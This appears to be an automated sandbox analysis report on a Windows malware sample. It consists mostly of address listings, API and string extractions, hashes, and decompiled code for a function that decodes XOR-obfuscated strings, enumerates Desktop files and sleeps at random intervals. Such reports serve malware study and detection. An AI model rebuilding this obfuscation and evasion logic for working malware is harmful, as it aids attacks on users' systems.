0x00404ec9
0x00404ecb
0x00404ed1
0x00404ee3
0x00404ee3
0x00404ee5
0x00404eea
0x00000000
0x00404ed3
0x00404ed3
0x00404ed6
0x00404ede
0x00404ee1
0x00404f1a
0x00404f1f
0x00404f20
0x00404f21
0x00404f23
0x00404f25
0x00404f30
0x00404f31
0x00404f34
0x00404f39
0x00404f3b
0x00404f3e
0x00404f3f
0x00404f40
0x00404f41
0x00404f45
0x00404f4b
0x00404f4d
0x00404f50
0x00404f53
0x00404f56
0x00404f5b
0x00404f5e
0x00404f63
0x00404f66
0x00404f69
0x00404f6c
0x00404f6f
0x00404f71
0x00405185
0x00405185
0x00405185
0x00000000
0x00404f77
0x00404f7d
0x00404f84
0x00404f8b
0x00404f8d
0x00404f90
0x00404f94
0x00404f9c
0x00404f9f
0x00404fa3
0x00404fa8
0x00404fae
0x00404fb5
0x00404fba
0x00404fbd
0x00404fc4
0x00404fc6
0x00404fc9
0x00404fce
0x00404fd6
0x00404fdb
0x00404fe8
0x00404fed
0x00404fed
0x00404fc4
0x00404ff0
0x00404ff5
0x00404ff7
0x00404ff9
0x00405000
0x00405007
0x0040500e
0x00405015
0x0040501c
0x00405023
0x0040502a
0x0040502a
0x0040502c
0x0040502c
0x00405031
0x00405036
0x0040503d
0x00405044
0x0040504b
0x0040504b
0x00405050
0x00405050
0x00405052
0x00405053
0x00405053
0x00405062
0x0040506a
0x00405070
0x00405079
0x0040507d
0x00405080
0x00405083
0x00405086
0x0040508b
0x0040508f
0x00405094
0x00405097
0x0040509a
0x004050c2
0x004050c2
0x0040509c
0x0040509c
0x004050a3
0x004050a8
0x004050b1
0x004050b6
0x004050b9
0x004050bd
0x004050c0
0x00000000
0x00000000
0x004050c0
0x004050c6
0x004050ca
0x004050cd
0x004050d0
0x00405100
0x00405100
0x00405104
0x004051e0
0x004051e0
0x004051e3
0x004051e6
0x0040520f
0x0040520f
0x00405212
0x00405187
0x00405187
0x00405189
0x00405226
0x0040522b
0x00405233
0x00405234
0x00405235
0x00405239
0x00405243
0x0040518f
0x00405192
0x00405195
0x004051a2
0x004051a5
0x004051ae
0x004051c1
0x004051c3
0x004051c6
0x004051cc
0x0040521c
0x0040521c
0x0040521e
0x00000000
0x004051ce
0x004051ce
0x004051d1
0x004051d9
0x004051dc
0x00405244
0x00000000
0x004051de
0x00000000
0x004051de
0x004051dc
0x004051cc
0x004051e8
0x004051e8
0x004051e8
0x004051eb
0x004051ed
0x004051f3
0x00405205
0x00405205
0x00405207
0x0040520c
0x00000000
0x004051f5
0x004051f5
0x004051f8
0x00405200
0x00405203
0x00000000
0x00000000
0x00000000
0x00000000
0x00405203
0x004051f3
0x0040510a
0x0040510a
0x0040510d
0x00405112
0x00000000
0x00405118
0x00405118
0x0040511d
0x00000000
0x00405123
0x00405123
0x00405128
0x00000000
0x0040512e
0x0040512e
0x00405133
0x00000000
0x00405139
0x00405139
0x0040513d
0x00405140
0x00405143
0x00000000
0x00405145
0x00405145
0x00405145
0x00405148
0x0040514a
0x00405150
0x00405166
0x00405166
0x00405168
0x0040516d
0x00000000
0x00405152
0x00405152
0x00405155
0x0040515d
0x00405160
0x00000000
0x00000000
0x00000000
0x00000000
0x00405160
0x00405150
0x00405143
0x00405133
0x00405128
0x0040511d
0x00405112
0x004050d2
0x004050d2
0x004050d2
0x004050d5
0x004050d7
0x004050dd
0x004050f3
0x004050f3
0x004050f5
0x004050fa
0x004050fd
0x00000000
0x004050df
0x004050df
0x004050e2
0x004050ea
0x004050ed
0x00405249
0x00405249
0x0040524e
0x0040524f
0x00405250
0x00405251
0x00405259
0x00405260
0x00405263
0x00405264
0x00405265
0x00405269
0x0040526f
0x00405275
0x0040527b
0x00405288
0x00405298
0x004052a0
0x004052b6
0x004052b8
0x004052ba
0x004052c5
0x004052cd
0x004052d3
0x004052d5
0x004052ea
0x004052ea
0x004052d5
0x004052f1
0x004052f7
0x004052fd
0x00405303
0x0040530a
0x0040530d
0x00405314
0x00405317
0x00405317
0x00405319
0x0040531a
0x0040531a
0x0040532a
0x00405334
0x00405335
0x00405337
0x00405340
0x00000000
0x00000000
0x00000000
0x004050ed
0x004050dd
0x00000000
0x00405170
0x00405170
0x00405173
0x00405176
0x00405179
0x00405179
0x00405182
0x00000000
0x00405182
0x00000000
0x00000000
0x00000000
0x00404ee1
0x00404ed1
0x00000000
0x00404eed
0x00404eed
0x00404eee
0x00404eee
0x00000000
0x00404df0
0x00000000
0x00000000
0x00000000
0x004049bd
0x004049ad
0x00000000
0x00000000
0x00000000
0x00404632
0x00404622
0x00404614
0x00000000

APIs

FindFirstFileA.KERNEL32(?,?,00000000), ref: 0040456D
FindNextFileA.KERNELBASE(00000000,?,00000000,00000000,?,?), ref: 0040464A
FindClose.KERNEL32(00000000), ref: 00404655
__Init_thread_footer.LIBCMT ref: 004048E5
__Init_thread_footer.LIBCMT ref: 00404A83

Strings

mmBK, xrefs: 00404A2C
\Desktop, xrefs: 004049EB
O@K\, xrefs: 00404A33
{}k|, xrefs: 00404884

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: Find$FileInit_thread_footer$CloseFirstNext
String ID: O@K\$\Desktop$mmBK${}k|
API String ID: 3881311970-1521651405
Opcode ID: e2eb9792fd11c87ba361660c957233dfacd2bca5a1dca6455e7919e2afff7f47
Instruction ID: 58878943dd0f8842862dea9b1a2a355d4883e40d2484bf5e927ccb4c481baae2
Opcode Fuzzy Hash: e2eb9792fd11c87ba361660c957233dfacd2bca5a1dca6455e7919e2afff7f47
Instruction Fuzzy Hash: E23277B6D002448BDB14DF68DD457AEBBB0EF45304F14427EE8007B2D2D7B9A989CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00409A10 Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 599
sleepCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E00409A10(void* __ecx, void* __edx, signed int __edi, void* __esi) {
				intOrPtr _v8;
				signed char _v16;
				signed int _v20;
				char _v24;
				char _v28;
				signed int _v32;
				void* _v36;
				signed int _v40;
				signed char _v44;
				signed char _v48;
				signed int _v52;
				signed char _v56;
				signed int _v60;
				signed char _v76;
				signed char _v80;
				signed char _v84;
				signed char _v100;
				signed char _v124;
				signed char _v128;
				signed char _v132;
				signed char _v164;
				char _v172;
				intOrPtr _v176;
				intOrPtr _v192;
				signed int _v196;
				signed int* _v208;
				signed int* _v224;
				signed int* _v240;
				char _v252;
				char _v268;
				char _v444;
				char _v445;
				signed char _v452;
				signed char _v456;
				signed int _v472;
				signed int _v476;
				signed char _v480;
				signed int _v496;
				char _v520;
				signed int _v580;
				intOrPtr _v588;
				void* __ebx;
				void* __ebp;
				signed int _t200;
				signed int _t201;
				intOrPtr _t205;
				intOrPtr _t218;
				void* _t221;
				signed int _t232;
				intOrPtr* _t242;
				signed char _t249;
				signed char _t250;
				void* _t257;
				signed char _t270;
				signed char _t272;
				signed char _t275;
				signed int _t279;
				signed int _t280;
				signed int _t281;
				signed int _t282;
				signed int _t288;
				signed int _t289;
				signed int _t290;
				signed int _t292;
				signed int _t296;
				intOrPtr _t300;
				signed char _t301;
				signed char _t302;
				char _t304;
				intOrPtr _t316;
				signed char _t317;
				signed char _t318;
				signed char* _t320;
				signed int _t322;
				signed char _t332;
				intOrPtr* _t334;
				signed int _t336;
				void* _t341;
				intOrPtr _t342;
				void* _t344;
				void* _t346;
				intOrPtr* _t349;
				void* _t362;
				signed char* _t370;
				void* _t383;
				signed char _t384;
				signed int _t385;
				signed char* _t389;
				signed char* _t393;
				signed char _t397;
				signed char* _t406;
				signed char _t409;
				long _t411;
				signed char _t413;
				void* _t414;
				signed char* _t415;
				signed char* _t417;
				signed char _t418;
				void* _t419;
				void* _t421;
				void* _t426;
				signed int _t429;
				signed int _t430;
				void* _t433;
				signed int _t436;
				void* _t439;
				void* _t440;
				void* _t441;
				signed int _t442;
				void* _t450;
				void* _t454;
				void* _t492;

				_t420 = __edi;
				_t344 = _t433;
				_t436 = (_t433 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t344 + 4));
				_t429 = _t436;
				_push(0xffffffff);
				_push(0x42ced0);
				_push( *[fs:0x0]);
				_push(_t344);
				_t200 =  *0x43d054; // 0xd71f2cec
				_t201 = _t200 ^ _t429;
				_v32 = _t201;
				_push(__esi);
				_push(__edi);
				_push(_t201);
				 *[fs:0x0] =  &_v24;
				_t424 =  *((intOrPtr*)(_t344 + 0x10));
				_v40 = 0;
				E004181CA(__ecx, E00418C26(__ecx, __edx, 0));
				_t349 =  *((intOrPtr*)(_t344 + 0x10));
				_v76 = 0;
				_t439 = _t436 - 0x1f0 + 8;
				_v60 = 0;
				_v56 = 0xf;
				_t402 = _t349 + 1;
				do {
					_t205 =  *_t349;
					_t349 = _t349 + 1;
					_t456 = _t205;
				} while (_t205 != 0);
				E004026B0(_t344,  &_v76, _t424, _t349 - _t402);
				_v52 = 0;
				_v48 = 0;
				_v44 = 0;
				E00410EB0(__edi,  &_v268, 0, 0xa8);
				_t440 = _t439 + 8;
				_v268 = 0x439ce8;
				_v164 = 0;
				asm("xorps xmm0, xmm0");
				_v132 = 0;
				_v128 = 0;
				_v124 = 0;
				_v172 = 0x439ca4;
				_v176 = 0x48;
				asm("movlpd [ebp-0xf8], xmm0");
				E0040C7B0( &_v172, _t402, _t456,  &_v252);
				_t26 = _v268 + 4; // 0x60
				 *((intOrPtr*)(_t429 +  *_t26 - 0x100)) = 0x439cfc;
				_t30 = _v268 + 4; // 0x43a364
				_t31 =  *_t30 - 0x60; // 0x43a304
				 *((intOrPtr*)(_t429 +  *_t30 - 0x104)) = _t31;
				_t354 =  &_v252;
				E0040C6E0(_t354, _t456);
				_t425 = _v60;
				_t217 =  >=  ? _v76 :  &_v76;
				_v40 =  >=  ? _v76 :  &_v76;
				_t218 = 2;
				_v252 = 0x439c3c;
				if(_t425 > 0x7fffffff) {
					E0040E3A9(__eflags);
					goto L88;
				} else {
					if(_t425 == 0) {
						_v196 = 0;
						L11:
						_push(_t354);
						_t403 =  &_v100;
						_v192 = _t218;
						_v100 = 0;
						_v84 = 0;
						_v80 = 0xf;
						_t242 = E0040DAC0( &_v268,  &_v100);
						_t440 = _t440 + 4;
						if(( *( *((intOrPtr*)( *_t242 + 4)) + _t242 + 0xc) & 0x00000006) == 0) {
							do {
								_t332 = _v48;
								_push( &_v100);
								if(_t332 == _v44) {
									_push(_t332);
									_t397 =  &_v52;
									E0040D3E0(_t344, _t397, _t420, _t425);
								} else {
									_t397 = _t332;
									E0040BF40(_t344, _t397, _t403, _t420);
									_v48 = _v48 + 0x18;
								}
								_push(_t397);
								_t403 =  &_v100;
								_t334 = E0040DAC0( &_v268,  &_v100);
								_t440 = _t440 + 4;
							} while (( *( *((intOrPtr*)( *_t334 + 4)) + _t334 + 0xc) & 0x00000006) == 0);
						}
						_t369 = _v48 - _v52;
						_t420 =  *[fs:0x2c];
						if((0x2aaaaaab * (_v48 - _v52) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v48 - _v52) >> 0x20 >> 2) != 0) {
							L30:
							_t420 =  *_t420;
							_t248 =  *0x451048;
							_v40 = 0x2e45464d;
							if( *0x451048 >  *((intOrPtr*)(_t420 + 4))) {
								E0040F2F9(_t248, 0x451048);
								_t440 = _t440 + 4;
								_t474 =  *0x451048 - 0xffffffff;
								if( *0x451048 == 0xffffffff) {
									 *0x450f4c = _v40;
									E0040F60B(_t369, _t474, 0x42d990);
									E0040F2AF(0x451048);
									_t440 = _t440 + 8;
								}
							}
							_t249 =  *0x450f4f; // 0x0
							if(_t249 != 0) {
								 *0x450f4c =  *0x450f4c ^ 0x0000002e;
								 *0x450f4d =  *0x450f4d ^ 0x0000002e;
								 *0x450f4e =  *0x450f4e ^ 0x0000002e;
								 *0x450f4f = _t249 ^ 0x0000002e;
							}
							_t370 = 0x450f4c;
							_v496 = 0;
							_v480 = 0;
							_v476 = 0xf;
							_t106 =  &(_t370[1]); // 0x450f4d
							_t406 = _t106;
							do {
								_t250 =  *_t370;
								_t370 =  &(_t370[1]);
							} while (_t250 != 0);
							E004026B0(_t344,  &_v496, 0x450f4c, _t370 - _t406);
							_t425 = _v52;
							_t354 = _t425;
							_v40 = 5;
							if(E0040CE10(_t425,  &_v496) != 0) {
								L47:
								__eflags = _v40 & 0x00000002;
								_v445 = 1;
								if(__eflags == 0) {
									goto L52;
								} else {
									goto L48;
								}
							} else {
								_t300 =  *0x450d5c; // 0x8000000a
								_v40 = 0x45464d01;
								_v445 = 0x2e;
								if(_t300 >  *((intOrPtr*)(_t420 + 4))) {
									E0040F2F9(_t300, 0x450d5c);
									_t440 = _t440 + 4;
									_t480 =  *0x450d5c - 0xffffffff;
									if( *0x450d5c == 0xffffffff) {
										 *0x450df4 = _v40;
										 *0x450df8 = _v445;
										E0040F60B(_t354, _t480, 0x42d970);
										E0040F2AF(0x450d5c);
										_t440 = _t440 + 8;
									}
								}
								_t301 =  *0x450df8; // 0x0
								if(_t301 != 0) {
									 *0x450df4 =  *0x450df4 ^ 0x0000002e;
									 *0x450df5 =  *0x450df5 ^ 0x0000002e;
									 *0x450df6 =  *0x450df6 ^ 0x0000002e;
									 *0x450df7 =  *0x450df7 ^ 0x0000002e;
									 *0x450df8 = _t301 ^ 0x0000002e;
								}
								_t389 = 0x450df4;
								_v472 = 0;
								_v456 = 0;
								_v452 = 0xf;
								_t119 =  &(_t389[1]); // 0x450df5
								_t415 = _t119;
								do {
									_t302 =  *_t389;
									_t389 =  &(_t389[1]);
								} while (_t302 != 0);
								E004026B0(_t344,  &_v472, 0x450df4, _t389 - _t415);
								_t425 = _v52;
								_t354 = _t425;
								_v40 = 7;
								_t304 = E0040CE10(_t425,  &_v472);
								if(_t304 != 0) {
									goto L47;
								} else {
									_v445 = _t304;
									L48:
									_t413 = _v452;
									if(_t413 < 0x10) {
										L52:
										_t402 = _v476;
										if(_t402 < 0x10) {
											L56:
											if(_v445 != 0) {
												goto L89;
											} else {
												_t374 = _v48 - _t425;
												_t402 = 0x2aaaaaab * (_v48 - _t425) >> 0x20 >> 2;
												_t257 = (0x2aaaaaab * (_v48 - _t425) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v48 - _t425) >> 0x20 >> 2);
												_t492 = _t257 - 1;
												if(_t492 < 0) {
													goto L90;
												} else {
													if(_t492 == 0) {
														goto L91;
													} else {
														if(_t257 == 2) {
															_t279 = _t425;
															if( *((intOrPtr*)(_t425 + 0x14)) >= 0x10) {
																_t279 =  *_t425;
															}
															if( *((intOrPtr*)(_t425 + 0x10)) != 1) {
																L68:
																__eflags =  *((intOrPtr*)(_t425 + 0x14)) - 0x10;
																_t385 = _t425;
																if( *((intOrPtr*)(_t425 + 0x14)) >= 0x10) {
																	_t385 =  *_t425;
																}
																__eflags =  *((intOrPtr*)(_t425 + 0x10)) - 2;
																if(__eflags == 0) {
																	_t280 =  *_t385 & 0x000000ff;
																	__eflags = _t280 - 0x72;
																	if(_t280 != 0x72) {
																		L74:
																		asm("sbb eax, eax");
																		_t281 = _t280 | 0x00000001;
																		__eflags = _t281;
																	} else {
																		_t280 =  *(_t385 + 1) & 0x000000ff;
																		__eflags = _t280 - 0x73;
																		if(_t280 != 0x73) {
																			goto L74;
																		} else {
																			_t281 = 0;
																		}
																	}
																	__eflags = _t281;
																	if(__eflags == 0) {
																		_t282 = E004181A9(_t385, __eflags);
																		asm("cdq");
																		_t411 = _t282 % 0xc350 + 0x11170;
																		__eflags = _t411;
																		goto L77;
																	}
																}
															} else {
																_t288 =  *_t279 & 0x000000ff;
																if(_t288 != 0x72) {
																	asm("sbb eax, eax");
																	_t289 = _t288 | 0x00000001;
																	__eflags = _t289;
																} else {
																	_t289 = 0;
																}
																_t497 = _t289;
																if(_t289 != 0) {
																	goto L68;
																} else {
																	_t290 = E004181A9(_t374, _t497);
																	asm("cdq");
																	_t411 = _t290 % 0xc350 + 0x2710;
																	L77:
																	Sleep(_t411);
																	_t450 = _t440 - 0x18;
																	E0040BF40(_t344, _t450, _t411, _t420, _v52 + 0x18);
																	E00408D00(_t344, _t420, _t425, _v52 + 0x18);
																	_t440 = _t450 + 0x18;
																}
															}
														}
														_t409 = _v80;
														if(_t409 < 0x10) {
															L82:
															_t161 = _v268 + 4; // 0x43a364
															 *((intOrPtr*)(_t429 +  *_t161 - 0x100)) = 0x439cfc;
															_t165 = _v268 + 4; // 0x43a364
															_t166 =  *_t165 - 0x60; // 0x43a304
															 *((intOrPtr*)(_t429 +  *_t165 - 0x104)) = _t166;
															E0040A830( &_v252);
															_t171 = _v268 + 4; // 0x43a364
															 *((intOrPtr*)(_t429 +  *_t171 - 0x100)) = 0x439ca4;
															_t175 = _v268 + 4; // 0x33323130
															_t176 =  *_t175 - 0x18; // 0x33323118
															 *((intOrPtr*)(_t429 +  *_t175 - 0x104)) = _t176;
															_v16 = 0;
															_v172 = 0x439bdc;
															E0040E883( &_v172);
															_t442 = _t440 + 4;
															E0040BCE0( &_v52, _t420);
															_t270 = _v56;
															if(_t270 < 0x10) {
																L86:
																 *[fs:0x0] = _v24;
																_pop(_t421);
																_pop(_t426);
																return E0040EF6F(_t270, _t344, _v32 ^ _t429, _t409, _t421, _t426);
															} else {
																_t409 = _v76;
																_t185 = _t270 + 1; // 0x11
																_t383 = _t185;
																_t272 = _t409;
																if(_t383 < 0x1000) {
																	L85:
																	_push(_t383);
																	_t270 = E0040F1B0(_t409);
																	goto L86;
																} else {
																	_t402 =  *(_t409 - 4);
																	_t383 = _t383 + 0x23;
																	if(_t272 -  *(_t409 - 4) + 0xfffffffc > 0x1f) {
																		goto L92;
																	} else {
																		goto L85;
																	}
																}
															}
														} else {
															_t384 = _v100;
															_t409 = _t409 + 1;
															_t275 = _t384;
															if(_t409 < 0x1000) {
																L81:
																_push(_t409);
																E0040F1B0(_t384);
																_t440 = _t440 + 8;
																goto L82;
															} else {
																_t384 =  *(_t384 - 4);
																_t402 = _t409 + 0x23;
																if(_t275 - _t384 + 0xfffffffc > 0x1f) {
																	goto L92;
																} else {
																	goto L81;
																}
															}
														}
													}
												}
											}
										} else {
											_t354 = _v496;
											_t402 = _t402 + 1;
											_t292 = _t354;
											if(_t402 < 0x1000) {
												L55:
												_push(_t402);
												E0040F1B0(_t354);
												_t425 = _v52;
												_t440 = _t440 + 8;
												goto L56;
											} else {
												_t354 =  *(_t354 - 4);
												_t402 = _t402 + 0x23;
												if(_t292 - _t354 + 0xfffffffc > 0x1f) {
													goto L92;
												} else {
													goto L55;
												}
											}
										}
									} else {
										_t354 = _v472;
										_t414 = _t413 + 1;
										_t296 = _t354;
										if(_t414 < 0x1000) {
											L51:
											_push(_t414);
											E0040F1B0(_t354);
											_t425 = _v52;
											_t440 = _t440 + 8;
											goto L52;
										} else {
											_t354 =  *(_t354 - 4);
											_t402 = _t414 + 0x23;
											if(_t296 - _t354 + 0xfffffffc > 0x1f) {
												goto L92;
											} else {
												goto L51;
											}
										}
									}
								}
							}
						} else {
							_t392 =  *_t420;
							_t316 =  *0x450f24; // 0x80000008
							_v40 = 0x7b7d6160;
							_v36 = 0x2e6c;
							if(_t316 >  *((intOrPtr*)( *_t420 + 4))) {
								E0040F2F9(_t316, 0x450f24);
								_t440 = _t440 + 4;
								_t468 =  *0x450f24 - 0xffffffff;
								if( *0x450f24 == 0xffffffff) {
									 *0x450d30 = _v40;
									 *0x450d34 = _v36;
									E0040F60B(_t392, _t468, E0042D9A0);
									E0040F2AF(0x450f24);
									_t440 = _t440 + 8;
								}
							}
							_t317 =  *0x450d35; // 0x0
							if(_t317 != 0) {
								 *0x450d30 =  *0x450d30 ^ 0x0000002e;
								 *0x450d31 =  *0x450d31 ^ 0x0000002e;
								 *0x450d32 =  *0x450d32 ^ 0x0000002e;
								 *0x450d33 =  *0x450d33 ^ 0x0000002e;
								 *0x450d34 =  *0x450d34 ^ 0x0000002e;
								 *0x450d35 = _t317 ^ 0x0000002e;
							}
							_t393 = 0x450d30;
							_v472 = 0;
							_v456 = 0;
							_v452 = 0xf;
							_t89 =  &(_t393[1]); // 0x450d31
							_t417 = _t89;
							do {
								_t318 =  *_t393;
								_t393 =  &(_t393[1]);
							} while (_t318 != 0);
							_t369 =  &_v472;
							E004026B0(_t344,  &_v472, 0x450d30, _t393 - _t417);
							_t320 = _v48;
							if(_t320 == _v44) {
								_push( &_v472);
								_push(_t320);
								_t369 =  &_v52;
								E0040D200(_t344,  &_v52, _t420, _t425);
								_t418 = _v452;
								__eflags = _t418 - 0x10;
								if(_t418 < 0x10) {
									goto L30;
								} else {
									_t369 = _v472;
									_t419 = _t418 + 1;
									_t322 = _t369;
									__eflags = _t419 - 0x1000;
									if(_t419 < 0x1000) {
										L29:
										_push(_t419);
										E0040F1B0(_t369);
										_t440 = _t440 + 8;
										goto L30;
									} else {
										_t369 =  *(_t369 - 4);
										_t402 = _t419 + 0x23;
										__eflags = _t322 - _t369 + 0xfffffffc - 0x1f;
										if(__eflags > 0) {
											goto L92;
										} else {
											goto L29;
										}
									}
								}
							} else {
								asm("movups xmm0, [ebp-0x1cc]");
								 *_t320 = 0;
								asm("movups [eax], xmm0");
								asm("movq xmm0, [ebp-0x1bc]");
								asm("movq [eax+0x10], xmm0");
								_v48 = _v48 + 0x18;
								goto L30;
							}
						}
					} else {
						if(_t425 < 0x1000) {
							_t336 = E0040F180(_t420, _t425, __eflags, _t425);
							_t454 = _t440 + 4;
							_t420 = _t336;
							L9:
							E00410870(_t420, _v40, _t425);
							_t354 = _t425 + _t420;
							_v196 = _t354;
							_t440 = _t454 + 0xc;
							 *_v240 = _t420;
							 *_v224 = _t420;
							 *_v208 = _t425;
							_t218 = 3;
							goto L11;
						} else {
							_t41 = _t425 + 0x23; // 0x23
							_t341 = _t41;
							_t461 = _t341 - _t425;
							if(_t341 <= _t425) {
								L88:
								E004018B0();
								L89:
								_t221 = E004099F0( &_v444, _t354);
								_t441 = _t440 - 0xc;
								L93();
								E0040B800( &_v444, E00402510( &_v520, E0040BBA0(_t221)));
								E00402440(_t344,  &_v520);
								E00418060(0);
								L90:
								E004054C0(_t344, __eflags);
								L91:
								_t442 = _t441 - 0x18;
								_t425 = _t442;
								E0040BF40(_t344, _t442, _t402, _t420, E0040BCC0( &_v52, 0)); // executed
								E004094B0(_t344, _t442, _t402, _t420, _t442); // executed
								goto L92;
							} else {
								_t342 = E0040F180(_t420, _t425, _t461, _t341);
								_t442 = _t440 + 4;
								if(_t342 == 0) {
									L92:
									E004138D7(_t344, _t402, __eflags);
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									_push(_t429);
									_t430 = _t442;
									_t232 =  *0x43d054; // 0xd71f2cec
									_v580 = _t232 ^ _t430;
									_push(_t344);
									_v588 = 0x5a5d4b5a;
									_t362 =  *( *[fs:0x2c]);
									_t235 =  *0x451050;
									__eflags =  *0x451050 -  *((intOrPtr*)(_t362 + 4));
									if( *0x451050 >  *((intOrPtr*)(_t362 + 4))) {
										E0040F2F9(_t235, 0x451050);
										__eflags =  *0x451050 - 0xffffffff;
										if(__eflags == 0) {
											_t197 =  &_v28; // 0x5a5d4b5a
											 *0x450f78 =  *_t197;
											 *0x450f7c = 0x2e;
											E0040F60B(_t362, __eflags, 0x42d950);
											E0040F2AF(0x451050);
										}
									}
									__eflags = _v20 ^ _t430;
									_pop(_t346);
									return E0040EF6F(0x450f78, _t346, _v20 ^ _t430, _t402, _t420, _t425);
								} else {
									_t42 = _t342 + 0x23; // 0x23
									_t420 = _t42 & 0xffffffe0;
									 *((intOrPtr*)(_t420 - 4)) = _t342;
									goto L9;
								}
							}
						}
					}
				}
			}

0x00409a10
0x00409a11
0x00409a19
0x00409a20
0x00409a24
0x00409a26
0x00409a28
0x00409a33
0x00409a34
0x00409a3b
0x00409a40
0x00409a42
0x00409a45
0x00409a46
0x00409a47
0x00409a4b
0x00409a51
0x00409a56
0x00409a66
0x00409a6b
0x00409a6d
0x00409a74
0x00409a77
0x00409a7e
0x00409a85
0x00409a88
0x00409a88
0x00409a8a
0x00409a8b
0x00409a8b
0x00409a96
0x00409aa6
0x00409ab0
0x00409ab7
0x00409abe
0x00409ac3
0x00409ac6
0x00409ad6
0x00409ae0
0x00409ae3
0x00409af0
0x00409af8
0x00409aff
0x00409b09
0x00409b13
0x00409b1b
0x00409b26
0x00409b29
0x00409b3a
0x00409b3d
0x00409b40
0x00409b47
0x00409b4d
0x00409b59
0x00409b5c
0x00409b60
0x00409b63
0x00409b68
0x00409b78
0x0040a203
0x00000000
0x00409b7e
0x00409b80
0x00409bf1
0x00409bfb
0x00409bfb
0x00409bfc
0x00409bff
0x00409c0b
0x00409c12
0x00409c19
0x00409c20
0x00409c25
0x00409c32
0x00409c34
0x00409c34
0x00409c3a
0x00409c3e
0x00409c4d
0x00409c4e
0x00409c51
0x00409c40
0x00409c40
0x00409c42
0x00409c47
0x00409c47
0x00409c56
0x00409c57
0x00409c60
0x00409c65
0x00409c6d
0x00409c34
0x00409c7c
0x00409c7f
0x00409c92
0x00409ddf
0x00409ddf
0x00409de1
0x00409de6
0x00409df3
0x00409dfa
0x00409dff
0x00409e02
0x00409e09
0x00409e13
0x00409e18
0x00409e25
0x00409e2a
0x00409e2a
0x00409e09
0x00409e2d
0x00409e34
0x00409e36
0x00409e3d
0x00409e44
0x00409e4d
0x00409e4d
0x00409e52
0x00409e57
0x00409e61
0x00409e6b
0x00409e75
0x00409e75
0x00409e78
0x00409e78
0x00409e7a
0x00409e7b
0x00409e8d
0x00409e92
0x00409e9b
0x00409e9d
0x00409eab
0x00409f9e
0x00409f9e
0x00409fa2
0x00409fa9
0x00000000
0x00000000
0x00000000
0x00000000
0x00409eb1
0x00409eb1
0x00409eb6
0x00409ebd
0x00409eca
0x00409ed1
0x00409ed6
0x00409ed9
0x00409ee0
0x00409ee5
0x00409ef5
0x00409efa
0x00409f07
0x00409f0c
0x00409f0c
0x00409ee0
0x00409f0f
0x00409f16
0x00409f18
0x00409f1f
0x00409f26
0x00409f2d
0x00409f36
0x00409f36
0x00409f3b
0x00409f40
0x00409f4a
0x00409f54
0x00409f5e
0x00409f5e
0x00409f61
0x00409f61
0x00409f63
0x00409f64
0x00409f76
0x00409f7b
0x00409f84
0x00409f86
0x00409f8d
0x00409f94
0x00000000
0x00409f96
0x00409f96
0x00409fab
0x00409fab
0x00409fb4
0x00409fe8
0x00409fe8
0x00409ff1
0x0040a025
0x0040a02c
0x00000000
0x0040a032
0x0040a03a
0x0040a03e
0x0040a046
0x0040a048
0x0040a04b
0x00000000
0x0040a051
0x0040a051
0x00000000
0x0040a057
0x0040a05a
0x0040a064
0x0040a066
0x0040a068
0x0040a068
0x0040a06e
0x0040a099
0x0040a099
0x0040a09d
0x0040a09f
0x0040a0a1
0x0040a0a1
0x0040a0a3
0x0040a0a7
0x0040a0a9
0x0040a0ac
0x0040a0ae
0x0040a0bc
0x0040a0bc
0x0040a0be
0x0040a0be
0x0040a0b0
0x0040a0b0
0x0040a0b4
0x0040a0b6
0x00000000
0x0040a0b8
0x0040a0b8
0x0040a0b8
0x0040a0b6
0x0040a0c1
0x0040a0c3
0x0040a0c5
0x0040a0ca
0x0040a0d2
0x0040a0d2
0x00000000
0x0040a0d2
0x0040a0c3
0x0040a070
0x0040a070
0x0040a075
0x0040a07b
0x0040a07d
0x0040a07d
0x0040a077
0x0040a077
0x0040a077
0x0040a080
0x0040a082
0x00000000
0x0040a084
0x0040a084
0x0040a089
0x0040a091
0x0040a0d8
0x0040a0d9
0x0040a0e2
0x0040a0eb
0x0040a0f0
0x0040a0f5
0x0040a0f5
0x0040a082
0x0040a06e
0x0040a0f8
0x0040a0fe
0x0040a12c
0x0040a132
0x0040a135
0x0040a146
0x0040a149
0x0040a14c
0x0040a159
0x0040a164
0x0040a167
0x0040a178
0x0040a17b
0x0040a17e
0x0040a18b
0x0040a193
0x0040a19d
0x0040a1a2
0x0040a1a8
0x0040a1ad
0x0040a1b3
0x0040a1e3
0x0040a1e6
0x0040a1ee
0x0040a1ef
0x0040a200
0x0040a1b5
0x0040a1b5
0x0040a1b8
0x0040a1b8
0x0040a1bb
0x0040a1c3
0x0040a1d9
0x0040a1d9
0x0040a1db
0x00000000
0x0040a1c5
0x0040a1c5
0x0040a1c8
0x0040a1d3
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a1d3
0x0040a1c3
0x0040a100
0x0040a100
0x0040a103
0x0040a104
0x0040a10c
0x0040a122
0x0040a122
0x0040a124
0x0040a129
0x00000000
0x0040a10e
0x0040a10e
0x0040a111
0x0040a11c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a11c
0x0040a10c
0x0040a0fe
0x0040a051
0x0040a04b
0x00409ff3
0x00409ff3
0x00409ff9
0x00409ffa
0x0040a002
0x0040a018
0x0040a018
0x0040a01a
0x0040a01f
0x0040a022
0x00000000
0x0040a004
0x0040a004
0x0040a007
0x0040a012
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a012
0x0040a002
0x00409fb6
0x00409fb6
0x00409fbc
0x00409fbd
0x00409fc5
0x00409fdb
0x00409fdb
0x00409fdd
0x00409fe2
0x00409fe5
0x00000000
0x00409fc7
0x00409fc7
0x00409fca
0x00409fd5
0x00000000
0x00000000
0x00000000
0x00000000
0x00409fd5
0x00409fc5
